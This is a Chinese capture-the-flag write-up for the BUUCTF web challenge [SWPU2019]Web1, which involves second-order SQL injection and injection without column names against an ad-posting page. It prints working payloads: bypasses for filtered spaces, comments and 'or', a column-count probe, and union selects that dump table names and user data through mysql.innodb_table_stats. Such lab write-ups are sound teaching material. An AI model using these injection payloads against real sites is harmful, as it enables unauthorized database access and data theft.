BUUCTF[SWPU2019]Web1 1
考点:
1:无列名注入
2:二次注入
进入靶场:

先试试弱口令登录admin,没用,
看到下面有注册入口,点进去注册一个账号然后登录

有两个入口,一个申请发布广告,一个注销登录。
尝试申请发布广告。

尝试申请广告。并查看广告内容

查看广告详情

盲猜注入点,id=1 (select * from XXX where XXX)
尝试注入:1' order by 1#

经过测试,发现过滤了or,#,--+,和空格
ByPass
空格:用/**/代替
注释被过滤:1.最后用单引号闭合
2.若用group by,则用,'闭合
or被过滤:order by 、information_schema都不能用,
order by可用group by代替,information_schema可用mysql.innodb_table_stats代替。
payload:
一。测数据库的字段数:1,用group by : 1'/**/group/**/by/**/1,'
最后试到 1'/**/group/**/by/**/23,'时失败。
2,用 union/**/select/**/1,2,3,4,5,6,...'进行测试,最后测到22时出现数值,

证明一共有22个字段,通过第二种得到注入在第2,3,个字段,
二。爆库名

得到库名:

三。爆表名
1,用二次注入进行注入

2,用联合注入进行注入
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1" '
得到表名:

四。爆值
1.

2.
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
得到flag


浙公网安备 33010602011771号